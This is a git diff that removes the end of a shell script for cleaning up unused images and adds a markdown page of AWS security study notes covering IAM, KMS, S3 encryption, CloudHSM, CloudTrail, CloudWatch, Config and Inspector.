-        --no-ignore --hidden \
-        --glob '!.git/*' \
-        --glob '!$IMAGE_FOLDER/*' < /dev/null)
-
-    echo "Search result: $search_result"
-
-    # If rg doesn't find any matches, delete the image
-    if [ -z "$search_result" ]; then
-        echo "Deleting unused image: $image"
-        rm "$image"
-    else
-        echo "Image used: $image_name"
-        echo "$search_result"
-    fi
-done
-
-echo "Cleanup completed!"
diff --git a/cloud-security/aws-security.md b/cloud-security/aws-security.md
new file mode 100644
index 00000000000..e58b1ff2135
--- /dev/null
+++ b/cloud-security/aws-security.md
@@ -0,0 +1,986 @@
+# AWS Security
+
+## Types of services
+
+### Container services
+
+Services that fall under container services have the following characteristics:
+
+* The service itself runs on **separate infrastructure instances**, such as EC2.
+* **AWS** is responsible for **managing the operating system and the platform**.
+* A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**.
+* As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**.
+* Also, platform-level identity and access management where it exists.
+* **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk.
+
+### Abstract Services
+
+* These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**.
+* The services are accessed via endpoints using AWS application programming interfaces, APIs.
+* The **underlying infrastructure, operating system, and platform is managed by AWS**.
+* The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared.
+* **Data is isolated via security mechanisms**.
+* Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS.
+
+## IAM - Identity and Access Management
+
+IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
+
+* **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
+* **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
+* **Access Control** - The method and process of how access is granted to a secure resource
+
+IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
+
+### Users
+
+This could be a **real person** within your organization who requires access to operate and maintain your AWS environment. Or it could be an account to be used by an **application** that may require permissions to **access** your **AWS** resources **programmatically**. Note that **usernames must be unique**.
+
+#### CLI
+
+* **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
+* **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU \(It's not possible to retrieve lost secret access key IDs\).
+
+Whenever you need to **change the Access Key** this is the process you should follow:  
+****_Create a new access key -&gt; Apply the new key to system/application -&gt; mark original one as inactive -&gt; Test and verify new access key is working -&gt; Delete old access key_
+
+**MFA** is **supported** when using the AWS **CLI**.
+
+### Groups
+
+These are objects that **contain multiple users**. Permissions can be assigned to a user or inherit form a group. **Giving permission to groups and not to users the secure way to grant permissions**.
+
+### Roles
+
+Roles are used to grant identities a set of permissions. **Roles don't have any access keys or credentials associated with them**. Roles are usually used with resources \(like EC2 machines\) but they can also be useful to grant **temporary privileges to a user**. Note that when for example an EC2 has an IAM role assigned, instead of saving some keys inside the machine, dynamic temporary access keys will be supplied by the IAM role to handle authentication and determine if access is authorized.
+
+An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining who can assume the role, and a **permissions policy**, which cannot be empty, defining what they can access.
+
+#### AWS Security Token Service \(STS\) 
+
+This is a web service that enables you to **request temporary, limited-privilege credentials** for AWS Identity and Access Management \(IAM\) users or for users that you authenticate \(federated users\).
+
+### Policies
+
+#### Policy Permissions
+
+Are used to assign permissions. There are 2 types: 
+
+* AWS managed policies \(preconfigured by AWS\)
+* Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies \(modifying one of them and creating your own\), using the policy generator \(a GUI view that helps you granting and denying permissions\) or writing  your own..
+
+By **default access** is **denied**, access will be granted if an explicit role has been specified.   
+If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials \(which are allowed by default\).
+
+```javascript
+{
+    "Version": "2012-10-17",  //Version of the policy
+    "Statement": [  //Main element, there can be more than 1 entry in this array
+        {
+            "Sid": "Stmt32894y234276923" //Unique identifier (optional)
+            "Effect": "Allow", //Allow or deny
+            "Action": [  //Actions that will be allowed or denied
+                "ec2:AttachVolume",
+                "ec2:DetachVolume"
+            ], 
+            "Resource": [ //Resource the action and effect will be applied to
+                "arn:aws:ec2:*:*:volume/*",
+                "arn:aws:ec2:*:*:instance/*"
+            ],
+            "Condition": { //Optional element that allow to control when the permission will be effective
+                "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
+            }
+        }
+    ]
+}
+```
+
+#### Inline Policies
+
+This kind of policies are **directly assigned** to a user, group or role. Then, they not appear in the Policies list as any other one can use them.  
+Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
+
+#### S3 Bucket Policies
+
+Can only be applied to S3 Buckets. They contains an attribute called 'principal' that can be: IAM users, Federated users, another AWS account, an AWS service. P**rincipals define who/what should be allowed or denied access to various S3 resources.**
+
+### Multi-Factor Authentication
+
+It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.  
+You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
+
+### Identity Federation
+
+Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.   
+An example of an identity provider can be your own corporate Microsoft Active Directory\(via SAML\) or OpenID services \(like Google\). Federated access will then allow the users within it to access AWS.  
+AWS Identity Federation connects via IAM roles.
+
+#### Cross Account Trusts and Roles
+
+**A user** \(trusting\) can create a Cross Account Role with some policies and then, **allow another user** \(trusted\) to **access his account** but only h**aving the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.  
+It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
+
+#### AWS Simple AD
+
+Not supported:
+
+* Trust Relations
+* AD Admin Center
+* Full PS API support
+* AD Recycle Bin
+* Group Managed Service Accounts
+* Schema Extensions
+* No Direct access to OS or Instances
+
+#### Web Federation or OpenID Authentication
+
+The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However this doesn't grant access to the AWS console, just access to resources within AWS.
+
+### Other IAM options
+
+* You can **set a password policy setting** options like minimum length and password requirements.
+* You can **download "Credential Report"** with information about current credentials \(like user creation time, is password enabled...\). You can generate a credential report as often as once every **four hours**.
+
+## KMS - Key Management Service
+
+ AWS Key Management Service \(AWS KMS\) is a managed service that makes it easy for you to **create and control** _**customer master keys**_ **\(CMKs\)**, the encryption keys used to encrypt your data. AWS KMS CMKs are **protected by hardware security modules** \(HSMs\)
+
+KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** \(for example, inside a S3\). If you need to **encrypt information in transit** you need to use something like **TLS**.  
+KMS is a **region specific service**.
+
+**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used.
+
+**Customer Master Keys** \(CMK\): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs \(Data Encryption Keys\). Then the DEKs are used to encrypt the data.
+
+A customer master key \(CMK\) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK.
+
+There are 2 types of master keys:
+
+* **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it.
+* **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys.
+
+**Envelope Encryption** in the context of Key Management Service \(KMS\): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**.
+
+### Key Policies
+
+These defines **who can use and access a key in KMS**. By default root user has full access over KMS, if you delete this one, you need to contact AWS for support.
+
+Properties of a policy:
+
+* JSON based document
+* Resource --&gt; Affected resources \(can be "\*"\)
+* Action --&gt; kms:Encrypt, kms:Decrypt, kms:CreateGrant ... \(permissions\)
+* Effect --&gt; Allow/Deny
+* Principal --&gt; arn affected
+* Conditions \(optional\) --&gt; Condition to give the permissions
+
+Grants:
+
+* Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration \(Decrypt, Encrypt, GenerateDataKey...\)
+* After the grant is created a GrantToken and a GratID are issued
+
+Access:
+
+* Via key policy -- If this exist, this takes precedent over the IAM policy, s the IAM olicy is not used
+* Via IAM policy
+* Via grants
+
+### Key Administrators
+
+Key administrator by default:
+
+* Have access to manage KMS but not to encrypt or decrypt data
+* Only IAM users and roles can be added to Key Administrators list \(not groups\)
+* If external CMK is used, Key Administrators have the permission to import key material
+
+### Rotation of CMKs
+
+* The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases.
+* **KMS rotate customer keys every 365 days** \(or you can perform the process manually whenever you want\) and **keys managed by AWS every 3 years** and this time it cannot be changed.
+* **Older keys are retained** to decrypt data that was encrypted prior to the rotation
+* In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**.
+* If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled.
+
+#### Manual rotation
+
+* A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID.
+* To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to.
+* You need to **keep old keys to decrypt old files** encrypted with it.
+
+You can import keys from your on-premises key infrastructure .
+
+### Other information
+
+KMS is priced per number of encryption/decryption requests received from all services per month.
+
+KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS.
+
+With KMS policy you can do the following:
+
+* Limit who can create data keys and which services have access to use these keys
+* Limit systems access to encrypt only, decrypt only or both
+* Define to enable systems to access keys across regions \(although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions\).
+
+You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region.
+
+## S3
+
+Amazon S3 is a service that allows you **store important amounts of data**.
+
+Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** \(Policy\), **Encryption** \(Client and Server Side\), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case.
+
+With resource-based permissions, you can define permissions for sub-directories of your bucket separately.
+
+### S3 Access logs
+
+It's possible to **enable S3 access login** \(which by default is disabled\) to some bucket and save the logs in a different bucket to know who is accessing the bucket. The source bucket and the target bucket \(the one is saving the logs needs to be in the same region.
+
+### S3 Encryption Mechanisms
+
+**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data.
+
+**Server-side encryption with S3 managed keys, SSE-S3:** This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key.
+
+* Encryption: 
+  * Object Data + created plaintext DEK --&gt; Encrypted data \(stored inside S3\)
+  * Created plaintext DEK + S3 Master Key --&gt; Encrypted DEK \(stored inside S3\) and plain text is deleted from memory
+* Decryption:
+  * Encrypted DEK + S3 Master Key --&gt; Plaintext DEK
+  * Plaintext DEK + Encrypted data --&gt; Object Data
+
+Please, note that in this case **the key is managed by AWS** \(rotation only every 3 years\). If you use your own key you willbe able to rotate, disable and apply access control.
+
+**Server-side encryption with KMS managed keys, SSE-KMS:** This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. 
+
+* Encryption:
+  * S3 request data keys from KMS CMK
+  * KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£
+  * S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key
+* Decryption:
+  * S3 ask to KMS to decrypt the encrypted data key of the object
+  * KMS decrypt the data key with the CMK and send it back to S3
+  * S3 decrypts the object data
+
+**Server-side encryption with customer provided keys, SSE-C:** This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you. 
+
+* Encryption:
+  * The user sends the object data + Customer key to S3
+  * The customer key is used to encrypt the data and the encrypted data is stored
+  * a salted HMAC value of the customer key is stored also for future key validation
+  * the customer key is deleted from memory
+* Decryption:
+  * The user send the customer key
+  * The key is validated against the HMAC value stored
+  * The customer provided key is then used to decrypt the data
+
+**Client-side encryption with KMS, CSE-KMS:** Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored. 
+
+* Encryption:
+  * Client request for a data key to KMS
+  * KMS returns the plaintext DEK and the encrypted DEK with the CMK
+  * Both keys are sent back
+  * The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK \(which is saved as metadata of the encrypted data inside S3\)
+* Decryption:
+  * The encrypted data with the encrypted DEK is sent to the client
+  * The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK
+  * The client can now decrypt the encrypted data
+
+**Client-side encryption with customer provided keys, CSE-C:** Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage. 
+
+* Encryption: 
+  * The client generates a DEK and encrypts the plaintext data
+  * Then, using it's own custom CMK it encrypts the DEK
+  * submit the encrypted data + encrypted DEK to S3 where it's stored
+* Decryption:
+  * S3 sends the encrypted data and DEK
+  * As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data
+
+## HSM - Hardware Security Module
+
+Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage \(note that CloudHSM is a hardware appliance, it is not a virtualized service\). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used.
+
+The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads
+
+Typically, a device is available within 15 minutes assuming there is capacity, but if the AZ is out of capacity it can take two weeks or more to acquire additional capacity.
+
+Both KMS and CloudHSM are available to you at AWS and both are integrated with your apps at AWS. Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. 
+
+In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.  
+Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. 
+
+Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster.
+
+If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys.
+
+**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only \(cannot act as a certificate authority\)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. 
+
+**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.  
+Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance.
+
+**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you.
+
+### CloudHSM Suggestions
+
+1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS.
+2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data.
+3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear.
+4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed.
+5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool.
+6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance.
+7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source.
+
+The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month.
+
+The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**.
+
+The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH.
+
+## Amazon Athena
+
+Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service \(Amazon **S3**\) **using** standard **SQL**.
+
+You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from th logs, so you can query it.
+
+Amazon Athena supports the **hability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**.
+
+**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**.
+
+SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query.
+
+## AWS CloudTrail
+
+This service **tracks and monitors AWS API calls made within the environment**. Each call to an API \(event\) is logged. Each logged event contains:
+
+* The name of the called API: `eventName`
+* The called service: `eventSource`
+* The time: `eventTime`
+* The IP address: `SourceIPAddress`
+* The agent method: `userAgent`. Examples:
+  * Signing.amazonaws.com - From AWS Management Console
+  * console.amazonaws.com - Root user of the account
+  * lambda.amazonaws.com - AWS Lambda
+* The request parameters: `requestParameters`
+* The response elements: `responseElements`
+
+Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.  
+CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.  
+When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events.
+
+Logs are saved in an S3 bucket. By default Server Side Encryption is used \(SSE-S3\) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys.
+
+### Log File Naing Convention
+
+![](../.gitbook/assets/image%20%28253%29.png)
+
+### S3 folder structure
+
+![](../.gitbook/assets/image%20%28430%29.png)
+
+Note that the folders "_AWSLogs_" and "_CloudTrail_" are fixed folder names,
+
+**Digest** files have a similar folders path:
+
+![](../.gitbook/assets/image%20%28438%29.png)
+
+### Aggregate Logs from Multiple Accounts
+
+* Create a Trial in the AWS account where you want the log files to be delivered to
+* Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access
+* Create a new Trail in the other AWS accounts and select to use the created bucket in step 1
+
+However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account
+
+### Log Files Checking
+
+You can check that the logs haven't been altered by running
+
+```javascript
+aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
+```
+
+### Logs to CloudWatch
+
+**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**  
+Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to:
+
+* CreateLogStream: This allows to create a CloudWatch Logs log streams
+* PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream
+
+### Event History
+
+CloudTrail Event History allows you to inspect in a table the logs that have been recorded:
+
+![](../.gitbook/assets/image%20%28431%29.png)
+
+### Insights
+
+**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever.
+
+## CloudWatch
+
+Amazon CloudWatch allows to **collect all of your logs in a single repository** where you can create **metrics** and **alarms** based on the logs.  
+CloudWatch Log Event have a **size limitation of 256KB of each log line**.
+
+You can monitor for example logs from CloudTrail.  
+Events that are monitored:
+
+* Changes to Security Groups and NACLs
+* Starting, Stopping, rebooting and terminating EC2instances
+* Changes to Security Policies within IAM and S3
+* Failed login attempts to the AWS Management Console
+* API calls that resulted in failed authorization
+* Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
+
+### Agent Installation
+
+You can install agents insie your machines/containers to automatically send the logs back to CloudWatch.
+
+* **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM \(CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM\)
+* **Download** and **install** the **agent** onto the EC2 instance \([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)\). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage
+* **Configure** and **start** the CloudWatch Agent
+
+A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order.
+
+## Cost Explorer and Anomaly detection
+
+This allows you to check how are you expending money in AWS services and help you **detecting anomalies**.  
+Moreover, you can configure an anomaly detection so AWS will warn you when some anomaly in costs is found.
+
+### Budgets
+
+Budgets help to manage costs and usage. You can get **alerted when a threshold is reached**.  
+Also, they can be used for non cost related monitoring like the usage of a service \(how many GB are used in a particular S3 bucket?\).
+
+## AWS Config
+
+AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI.  
+This service is **region specific**.
+
+A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too.
+
+* **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource.
+* **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance
+* **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in.
+* **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information.
+* **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created.
+
+**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type.
+
+**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data.
+
+**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources.
+
+**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account.
+
+### Config Rules
+
+Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.  
+AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted.
+
+* **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist.
+* **Custom rules**: You can create your own rules to check specific customconfigurations.
+
+Limit of 50 config rules per region before you need to contact AWS for an increase.  
+Non compliant results are NOT deleted.
+
+## SNS Topic
+
+SNS topic is used as a **configuration stream for notifications** from different AWS services like Config or CloudWatch alarms.  
+You can have various endpoints associated to the SNS stream.  
+You can use SNS topic to send notifications to you via email or to SQS to treate programatically the notification.
+
+## Inspector
+
+The Amazon Inspector service is **agent based**, meaning it requires software agents to be **installed on any EC2 instances** you want to assess. This makes it an easy service to be configured and added at any point to existing resources already running within your AWS infrastructure. This helps Amazon Inspector to become a seamless integration with any of your existing security processes and procedures as another level of security.
+
+These are the tests that AWS Inspector allow you to perform:
+
+* **CVEs**
+* **CIS Benchmarks**
+* **Security Best practices**
+* **Network Reachability**
+
+You can make any of those run on the EC2 machines you decide.
+
+### Element of AWS Inspector
+
+**Role**: Create or select a role to allow Amazon Inspector to have read only access to the EC2 instances \(DescribeInstances\)  
+**Assessment Targets**: Group of EC2 instances that you want to run an assessment against  
+**AWS agents**: Software agents that must be install on EC2 instances to monitor. Data is sent to Amazon Inspector using a TLS channel. A regular heartbeat is sent from the agent to the inspector asking for instructions. It can autoupdate itself  
+**Assessment Templates**: Define specific configurations as to how an assessment is run on your EC2 instances. An assessment template cannot be modified after creation.
+
+* Rules packages to be used
+* Duration of the assessment run 15min/1hour/8hours
+* SNS topics, select when notify: Starts, finished, change state, reports a finding
+* Attributes to b assigned to findings 
+
+**Rule package**: Contains a number of individual rules that are check against an EC2 when an assessment is run. Each one also have a severity \(high, medium, low, informational\). The possibilities are:
+
+* Common Vulnerabilities and Exposures \(CVEs\)
+* Center for Internet Security \(CIS\) Benchmark
+* Security Best practices
+
+Once you have configured the Amazon Inspector Role, the AWS Agents are Installed, the target is configured and the template is configured, you will be able to run it. An assessment run can be stopped, resumed, or deleted.
+
+Amazon Inspector has a pre-defined set of rules, grouped into packages. Each Assessment Template defines which rules packages to be included in the test. Instances are being evaluated against rules packages included in the assessment template.
+
+{% hint style="info" %}
+Note that nowadays AWS already allow you to **autocreate** all the necesary **configurations** and even automatically **install the agents inside the EC2 instances.**
+{% endhint %}
+
+### **Reporting**
+
+**Telemetry**: data that is collected from an instance, detailing its configuration, behavior and processes during an assessment run. Once collected, the data is then sent back to Amazon Inspector in near-real-time over TLS where it is then stored and encrypted on S3 via an ephemeral KMS key. Amazon Inspector then accesses the S3 Bucket, decrypts the data in memory, and analyzes it against any rules packages used for that assessment to generate the findings.
+
+**Assessment Report**: Provide details on what was assessed and the results of the assessment. 
+
+* The **findings report** contain the summary of the assessment, info about the EC2 and rules and the findings that occurred.
